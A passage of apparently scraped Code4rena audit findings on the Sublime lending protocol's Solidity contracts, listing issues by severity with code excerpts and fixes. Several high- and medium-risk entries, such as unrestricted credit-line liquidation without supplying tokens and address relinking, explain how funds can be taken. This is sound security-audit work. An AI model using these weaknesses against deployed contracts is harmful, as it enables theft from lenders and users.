_repaymentInterval, uint256 _noOfRepaymentIntervals, address _poolSavingsStrategy, uint256 _collateralAmount, bool _transferFromSavingsAccount, address _lenderVerifier, uint256 _loanWithdrawalDuration, uint256 _collectionPeriod ) external payable initializer { poolFactory = msg.sender; poolConstants.borrowAsset = _borrowAsset; poolConstants.idealCollateralRatio = _idealCollateralRatio; poolConstants.collateralAsset = _collateralAsset; poolConstants.poolSavingsStrategy = _poolSavingsStrategy; poolConstants.borrowAmountRequested = _borrowAmountRequested; _initialDeposit(_borrower, _collateralAmount, _transferFromSavingsAccount); poolConstants.borrower = _borrower; poolConstants.borrowRate = _borrowRate; poolConstants.noOfRepaymentIntervals = _noOfRepaymentIntervals; poolConstants.repaymentInterval = _repaymentInterval; poolConstants.lenderVerifier = _lenderVerifier; poolConstants.loanStartTime = block.timestamp.add(_collectionPeriod); poolConstants.loanWithdrawalDeadline = block.timestamp.add(_collectionPeriod).add(_loanWithdrawalDuration); __ReentrancyGuard_init(); __ERC20_init('Pool Tokens', 'PT'); try ERC20Upgradeable(_borrowAsset).decimals() returns(uint8 _decimals) { _setupDecimals(_decimals); } catch(bytes memory) {} } ``` "}, {"title": "`initializer` functions can be front run", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/106", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "`initializer` functions can be front run"}, {"title": "Best Practice: Contract file name should follow coding conventions", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/105", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle WatchPug # Vulnerability details Having a consistent naming style in the project leads to fewer errors. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Proxy.sol#L6-L6 ```solidity=6 contract SublimeProxy is TransparentUpgradeableProxy { ``` The filename `Proxy.sol` should be `SublimeProxy.sol`. "}, {"title": "Missing timelock for critical contract setters of privileged roles (Price Oracles)", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/103", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle defsec # Vulnerability details ## Impact Setter functions for critical contract parameters accessible only by privileged roles e.g. admin should consider adding timelocks (along with emitted events) so that users and other privileged roles can detect upcoming changes and have the time to react to them. Changes to whitelists, oracle addresses and migrator address may have a financial or trust impact on users who should be given an opportunity to react to them by exiting/engaging without being surprised when such changes are made effective immediately. See similar Medium-severity finding in ConsenSys's Audit of 1inch Liquidity Protocol (https://consensys.net/diligence/audits/2020/12/1inch-liquidity-protocol/#unpredictable-behavior-for-users-due-to-admin-front-running-or-general-bad-timing) ## Proof of Concept 1. Navigate to the following contract. https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/PriceOracle.sol#L189 https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/PriceOracle.sol#L203 2. The functions are responsible for the price oracles. Therefore, If the price oracle is set to wrong. All price feeds will be affected by this. ## Tools Used None ## Recommended Mitigation Steps Consider adding timelocks to such contracts with critical setter functions. "}, {"title": "Use of _msgSender()", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "Use of _msgSender()"}, {"title": "Unnecessary receive()", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/99", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle Jujic # Vulnerability details ## Impact There doesn't seem to be a use case for the existence of the `receive()` function. In fact, I will recommend removing it as it will prevent accidental native token transfers to the contract. ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/SavingsAccount/SavingsAccount.sol#L481 ## Tools Used VSC ## Recommended Mitigation Steps https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/SavingsAccount/SavingsAccount.sol#L481 "}, {"title": "Missing approve(0)", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/97", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact There are 3 instances where the `IERC20.approve()` function is called only once without setting the allowance to zero. Some tokens, like USDT, require first reducing the address' allowance to zero by calling `approve(_spender, 0)`. Transactions will revert when using an unsupported token like USDT (see the `approve()` function requirement [at line 199](https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code)). ## Proof of Concept - [CreditLine/CreditLine.sol:647](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L647) - [CreditLine/CreditLine.sol:779](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L779) - [yield/AaveYield.sol:324](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/yield/AaveYield.sol#L324) Note: the usage of `approve()` in yield/CompoundYield.sol ([lines 211-212](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/yield/CompoundYield.sol#L211-L212)), in yield/YearnYield.sol ([lines 211-212](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/yield/YearnYield.sol#L210-L211)), and in yield/AaveYield.sol ([lines 297-298](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/yield/AaveYield.sol#L297-L298)) do not need modification since it they already use the recommended approach. Additionally the usage of `approve()` in [yield/AaveYield.sol:307](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/yield/AaveYield.sol#L307) likely does not need modification since that approve function only handles ETH. ## Tools Used Manual analysis ## Recommended Mitigation Steps Use `approve(_spender, 0)` to set the allowance to zero immediately before each of the existing `approve()` calls. "}, {"title": "Anyone can liquidate credit line when autoLiquidation is false without supplying borrow tokens", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/96", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact It is intended that if a credit line has autoLiquidation as false, then only the lender can be the liquidator (see docs here: https://docs.sublime.finance/sublime-docs/smart-contracts/creditlines). However, this is not correctly implemented, and anyone can liquidate a position that has autoLiquidation set to false. Even worse, when autoLiquidation is set to false, the liquidator does not have to supply the initial amount of borrow tokens (determined by `_borrowTokensToLiquidate`) that normally have to be transferred when autoLiquidation is true. This means that the liquidator will be sent all of the collateral that is supposed to be sent to the lender, so this represents a huge loss to the lender. Since the lender will lose all of the collateral that they are owed, this is a high severity issue. ## Proof of Concept The current implementation of liquidate is here: https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L996. Notice that the autoLiquidation value is only used in one place within this function, which is in this segment of the code: ``` ... if (creditLineConstants[_id].autoLiquidation && _lender != msg.sender) { uint256 _borrowTokens = _borrowTokensToLiquidate(_borrowAsset, _collateralAsset, _totalCollateralTokens); if (_borrowAsset == address(0)) { uint256 _returnETH = msg.value.sub(_borrowTokens, 'Insufficient ETH to liquidate'); if (_returnETH != 0) { (bool success, ) = msg.sender.call{value: _returnETH}(''); require(success, 'Transfer fail'); } } else { IERC20(_borrowAsset).safeTransferFrom(msg.sender, _lender, _borrowTokens); } } _transferCollateral(_id, _collateralAsset, _totalCollateralTokens, _toSavingsAccount); emit CreditLineLiquidated(_id, msg.sender); } ``` So, if `autoLiquidation` is false, the code inside of the if statement will simply not be executed, and there are no further checks that the sender HAS to be the lender if `autoLiquidation` is false. This means that anyone can liquidate a non-autoLiquidation credit line, and receive all of the collateral without first transferring the necessary borrow tokens. For a further proof of concept, consider the test file here: https://github.com/code-423n4/2021-12-sublime/blob/main/test/CreditLines/2.spec.ts. If the code on line 238 is changed from `let _autoLiquidation: boolean = true;` to `let _autoLiquidation: boolean = false;`, all the test cases will still pass. This confirms the issue, as the final test case \"Liquidate credit line\" has the `admin` as the liquidator, which should not work in non-autoLiquidations since they are not the lender. ## Tools Used Inspection and confirmed with Hardhat. ## Recommended Mitigation Steps Add the following require statement somewhere in the `liquidate` function: ``` require( creditLineConstants[_id].autoLiquidation || msg.sender == creditLineConstants[_id].lender, \"not autoLiquidation and not lender\"); ``` "}, {"title": "Two Steps Verification before Transferring Ownership", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/95", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle robee # Vulnerability details The following contracts have a function that allows them an admin to change it to a different address. If the admin accidentally uses an invalid address for which they do not have the private key, then the system gets locked. It is important to have two steps admin change where the first is announcing a pending new admin and the new address should then claim its ownership. A similar issue was reported in a previous contest and was assigned a severity of medium: [code-423n4/2021-06-realitycards-findings#105](https://github.com/code-423n4/2021-06-realitycards-findings/issues/105) ILendingPoolAddressesProvider.sol IUniswapV3Factory.sol Controller.sol Strategy.sol yVault.sol "}, {"title": "CreditLine.liquidate allows for price manipulated liquidation", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "CreditLine.liquidate allows for price manipulated liquidation"}, {"title": "Use one require instead of several", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Use one require instead of several"}, {"title": "Redundant use safeMath", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Using the safeMath to avoid redundant arithmetic underflow/overflow checks to save gas when an underflow/overflow cannot happen. ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L461 ``` if (_maxPossible > _currentDebt) { return _maxPossible.sub(_currentDebt); ``` ## Tools Used ## Recommended Mitigation Steps Consider using: ``` if (_maxPossible > _currentDebt) { return _maxPossible - _currentDebt; ``` "}, {"title": "CreditLine.liquidate doesn't transfer borrowed ETH to a lender", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle hyh # Vulnerability details ## Impact Funds that are acquired from a liquidator and should be sent to a lender are left with the contract instead. The funds aren't lost, but after the fact mitigation will require manual accounting and fund transfer for each CreditLine.liquidate usage. ## Proof of Concept ETH sent to CreditLine.liquidate by an external liquidator when `autoLiquidation` is enabled remain with the contract and aren't transferred to the lender: https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/CreditLine/CreditLine.sol#L1015 ## Recommended Mitigation Steps Add transfer to a lender for ETH case: Now: ``` if (_borrowAsset == address(0)) { uint256 _returnETH = msg.value.sub(_borrowTokens, 'Insufficient ETH to liquidate'); if (_returnETH != 0) { (bool success, ) = msg.sender.call{value: _returnETH}(''); require(success, 'Transfer fail'); } } ``` To be: ``` if (_borrowAsset == address(0)) { uint256 _returnETH = msg.value.sub(_borrowTokens, 'Insufficient ETH to liquidate'); (bool success, ) = _lender.call{value: _borrowTokens}(''); require(success, 'liquidate: Transfer failed'); if (_returnETH != 0) { (success, ) = msg.sender.call{value: _returnETH}(''); require(success, 'liquidate: Return transfer failed'); } } ``` "}, {"title": "calculateInterest() comments missing input parameter", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The public `calculateInterest` function in CreditLine.sol is missing a @param comment for the `_timeElapsed` parameter. This parameter is obviously important and the units should be clearly stated as seconds. ## Proof of Concept The `calculateInterest` function in CreditLine.sol: https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/CreditLine/CreditLine.sol#L385-L395 ## Tools Used Manual analysis ## Recommended Mitigation Steps Add the following line to the `calculateInterest` function comments in CreditLine.sol: `* @param _timeElapsed Seconds elapsed since lastPrincipalUpdateTime` "}, {"title": "CreditLine.sol assumes 365 day year", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/86", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "CreditLine.sol assumes 365 day year"}, {"title": "No validation of protocol fee fraction", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `updateProtocolFeeFraction` function in CreditLine.sol does not validate the value submitted. Fee fractions of 0%, 100%, or 200% are equally valid. A maximum fee value check is recommended and a similar check is used in `_updateLiquidatorRewardFraction` in CreditLine.sol to set a maximum liquidator fraction. However, if the assumption is that the owner is trusted and does not make mistakes, this may not be considered a problem. ## Proof of Concept The `updateProtocolFeeFraction` function calls `_updateProtocolFeeFraction` in CreditLine.sol: https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L335-L338 ## Tools Used Manual analysis ## Recommended Mitigation Steps Apply a maximum fee hard cap with a require statement to make sure the fee does not exceed a certain limit, whether by admin error or theoretical malicious overtake of the contract "}, {"title": "`delete` doesn\u2019t delete mapping in struct", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/83", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "`delete` doesn\u2019t delete mapping in struct"}, {"title": "Magic number 30 could be a constant", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/82", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact There are many instances of the value 30, usually used for exponents of base 10. Currently this integer value is used directly without a clear indication that this value relates to the decimals value, which could lead to one of these values being modified but not the other (perhaps by a typo), which is the basis for many past hacks. Coding best practices suggests using a constant integer to store this value in a way that clearly explains the purpose of this value to prevent confusion. ## Proof of Concept The magic number 30 is found in dozens of places, including: Pool/Repayments.sol https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Repayments.sol#L164-L165 https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Repayments.sol#L190 PriceOracle.sol file https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/PriceOracle.sol#L130-L131 https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/PriceOracle.sol#L88-L93 ## Tools Used Manual review ## Recommended Mitigation Steps Replace the magic number 30 with a variable explaining the meaning of this value, such as: `uint8 private constant DECIMALS_EXPONENT = 30;` "}, {"title": "SavingsAccount withdrawAll and switchStrategy can freeze user funds by ignoring possible strategy liquidity issues", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/80", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "SavingsAccount withdrawAll and switchStrategy can freeze user funds by ignoring possible strategy liquidity issues"}, {"title": "`idealCollateralRatio` is confusingly named", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Weird naming ## Proof of Concept Credit lines have an \"ideal collateral ratio\" which acts very much like a minimum collateral ratio, i.e. if you fall below it you can be liquidated. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L1002 \"Ideal\" to me implies that you'll be hovering around that value sometimes drifting above and sometimes below but the systems drives the value back to the ideal so this is quite confusingly named imo. ## Recommended Mitigation Steps Change `idealCollateralRatio` to `minCollateralRatio` "}, {"title": "CreditLine.borrow accepts ETH transfers", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "CreditLine.borrow accepts ETH transfers"}, {"title": "Credit Line acceptance logic can be simplified to avoid SLOAD in some cases", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact gas costs ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L600-L604 ``` (msg.sender == creditLineConstants[_id].borrower && _requestByLender) || (msg.sender == creditLineConstants[_id].lender && !_requestByLender) ``` is equivalent to ``` _requestByLender ? (msg.sender == creditLineConstants[_id].borrower) : (msg.sender == creditLineConstants[_id].lender) ``` or ``` msg.sender == (_requestByLender ? creditLineConstants[_id].borrower : creditLineConstants[_id].lender) ``` Which avoid loading the borrower address in the case where the borrower made the request. ## Recommended Mitigation Steps Use simplified logic "}, {"title": "Argument order for SavingsAccount approval functions is odd", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Possible confusion ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/SavingsAccount/SavingsAccount.sol#L326-L368 Compare this to the standard ERC20 versions. ``` approve(address spender, uint256 amount) vs approve(uint256 amount, address token, address to) ``` Having the amount at the beginning is very odd imo and I'd expect it at the end. ## Recommended Mitigation Steps Change `approve(uint256 amount, address token, address to)` to `approve(address token, address to, uint256 amount)` and similar for other functions. I'd also change `to` to the standard `spender` but this is nbd. "}, {"title": "`getInterestOverdue` reverts rather than returning 0 when there is no overdue interest", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/74", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "`getInterestOverdue` reverts rather than returning 0 when there is no overdue interest"}, {"title": "LinkedAddress struct can be packed to save an SSTORE", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs on linking/unlinking addresses ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Verification/Verification.sol#L10-L13 The activation timestamp can be restricted to a `uint64` variable so that it shares a slot with the `masterAddress`. This will save an SSTORE and a substantial amount of gas. ## Recommended Mitigation Steps As above. "}, {"title": "Contracts allow sending ETH on calls which does not expect it", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/71", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "Contracts allow sending ETH on calls which does not expect it"}, {"title": "Unnecessary zero approvals in yield contracts", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Unnecessary zero approvals in yield contracts"}, {"title": "Duplicated code in Yield contracts", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Duplicated code in Yield contracts"}, {"title": "`poolSizeLimit` does not account for differing unit values between borrow assets", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Inability to set a sensible range which covers all borrow assets without being overly wide. ## Proof of Concept `PoolFactory` has a set requirement that created pool must ask to borrow an amount of assets which are within a certain range as encoded in the `poolSizeLimit`. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/PoolFactory.sol#L286 This doesn't take into account the relative values of each borrow asset so it's hard to choose a one-size-fits-all value for these limits (A 100 WBTC loan could be sensible but a 100 USDC loan will be dwarfs by the gas costs to deploy the pool.) ## Recommended Mitigation Steps Place limits on the USD value of the borrowed amount as reported by the factory's price oracle. "}, {"title": "Typo in liquidateCancelPenalty natspec", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details Typo in \"cancelled\" https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L545 "}, {"title": "Check on `poolConstants.loanWithdrawalDeadline` for liquidation is unnecessary", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L322-L340 In `Pool.withdrawBorrowedAmount` we set the loan to active and delete the withdrawal deadline (see link). https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L802 When checking whether we can liquidate the pool we check that the loan is active and that `block.timestamp > poolConstants.loanWithdrawalDeadline`. This second condition always resolves true as `poolConstants.loanWithdrawalDeadline = 0` after deletion. We can then save an SLOAD by skipping this second check. ## Recommended Mitigation Steps As above. "}, {"title": "Repayments._transferTokens doesn't check msg.value in ETH case", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Repayments._transferTokens doesn't check msg.value in ETH case"}, {"title": "Flattening nested mappings can save gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Flattening nested mappings can save gas"}, {"title": "Overflow in _repay()", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/58", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function repayPrincipal() calls _repay() with MAX_INT as parameter. In _repay() this value (_amount) is multiplied by 10**30. As _amount already has the maximum value of an int256 it will overflow. Because solidity 7.6.0 is used and mul() isn't used (!) this actually works. The resulting value is still large and thus the function repayPrincipal() does still work. It is not recommended to rely on overflow working and when moving to solidity 0.8.x this will no longer work. ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/Pool/Repayments.sol#L23 ```JS uint256 constant MAX_INT = 2**256 - 1; ``` https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/Pool/Repayments.sol#L377-L425 ```JS function repayPrincipal(address payable _poolID) external payable nonReentrant isPoolInitialized(_poolID) { .... uint256 _interestToRepay = _repay(_poolID, MAX_INT, true); ... function _repay( ... uint256 _amount,..) internal returns (uint256) { .. _amount = _amount * 10**30; ``` ## Tools Used ## Recommended Mitigation Steps Use safemath in _replay() and change MAX_INT to something like: ```JS uint256 constant LARGE_INT = 2**128 ``` Note: 10**30 ~ 2**100 "}, {"title": "transferTokens should use _from instead of msg.sender", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function transferTokens of SavingsAccountUtil.sol sends the excess ETH to msg.sender, while a _from parameter is also present in the function. It seems more logical to send it to _from, like the similar function _transferTokens of Repayments.sol Luckily in the current code the _from is always msg.sender so it doesn't pose a direct risk. However if the code is reused or forked it might lead to unexpected issues. Note: transferTokens and _transferTokens are very similar so they could be integrated; they have to be checked carefully when doing this ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/SavingsAccount/SavingsAccountUtil.sol#L98-L127 ```JS function transferTokens(.... , address _from, address _to ) { ... (bool success, ) = payable(address(msg.sender)).call{value: msg.value - _amount}(''); // uses msg.sender instead of _from // also uses - instead of sub ``` https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/Pool/Repayments.sol#L457-L473 ```JS function _transferTokens( address _from, address _to,.... ) { (bool refundSuccess, ) = payable(_from).call{value: msg.value.sub(_amount)}(''); ``` ## Tools Used ## Recommended Mitigation Steps In function transferTokens() change msg.sender to _from "}, {"title": "Unlinked address can link immediately again", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact After a master calls unlinkAddress() to unlink an address, the address that has just been unlinked can directly link again without permission. The address that is just unlinked can call linkAddress(masterAddress) which will execute because pendingLinkAddresses is still set. Assuming the master has unlinked for a good reason it is unwanted to be able to be linked again without any permission from the master. Note: a master can prevent this by calling cancelAddressLinkingRequest(), but this doesn't seem logical to do ## Proof of Concept https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/Verification/Verification.sol#L129-L154 ```JS function unlinkAddress(address _linkedAddress) external { address _linkedTo = linkedAddresses[_linkedAddress].masterAddress; require(_linkedTo != address(0), 'V:UA-Address not linked'); require(_linkedTo == msg.sender, 'V:UA-Not linked to sender'); delete linkedAddresses[_linkedAddress]; ... } function linkAddress(address _masterAddress) external { require(linkedAddresses[msg.sender].masterAddress == address(0), 'V:LA-Address already linked'); // == true (after unlinkAddress) require(pendingLinkAddresses[msg.sender][_masterAddress], 'V:LA-No pending request'); // == true (after unlinkAddress) _linkAddress(msg.sender, _masterAddress); // // pendingLinkAddresses not reset } function cancelAddressLinkingRequest(address _linkedAddress) external { ... delete pendingLinkAddresses[_linkedAddress][msg.sender]; // only location where pendingLinkAddresses is reset ``` ## Tools Used ## Recommended Mitigation Steps Add something like to following at the end of linkAddress: ```JS delete pendingLinkAddresses[msg.sender][_masterAddress]; ``` "}, {"title": "PoolFactory and CreditLine updateSavingsAccount will break the system in production as savings account hold current user records", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "PoolFactory and CreditLine updateSavingsAccount will break the system in production as savings account hold current user records"}, {"title": "Unable To Call `emergencyWithdraw` ETH in `NoYield` Contract", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/52", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `emergencyWithdraw` function is implemented in all yield sources to allow the `onlyOwner` role to drain the contract's balance in case of emergency. The contract considers ETH as a zero address asset. However, there is a call made on `_asset` which will revert if it is the zero address. As a result, ETH tokens can never be withdrawn from the `NoYield` contract in the event of an emergency. ## Proof of Concept Consider the case where `_asset == address(0)`. An external call is made to check the contract's token balance for the target `_asset`. However, this call will revert as `_asset` is the zero address. As a result, the `onlyOwner` role will never be able to withdraw ETH tokens during an emergency. ``` function emergencyWithdraw(address _asset, address payable _wallet) external onlyOwner returns (uint256 received) { require(_wallet != address(0), 'cant burn'); uint256 amount = IERC20(_asset).balanceOf(address(this)); IERC20(_asset).safeTransfer(_wallet, received); received = amount; } ``` Affected function as per below: https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/yield/NoYield.sol#L78-L83 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider handling the case where `_asset` is the zero address, i.e. the asset to be withdrawn under emergency is the ETH token. "}, {"title": "`PriceOracle` Does Not Filter Price Feed Outliers", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/51", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "`PriceOracle` Does Not Filter Price Feed Outliers"}, {"title": "Improper Validation Of Chainlink's `latestRoundData` Function", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Improper Validation Of Chainlink's `latestRoundData` Function"}, {"title": "Natspec not matching function's logic", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Natspec not matching function's logic"}, {"title": 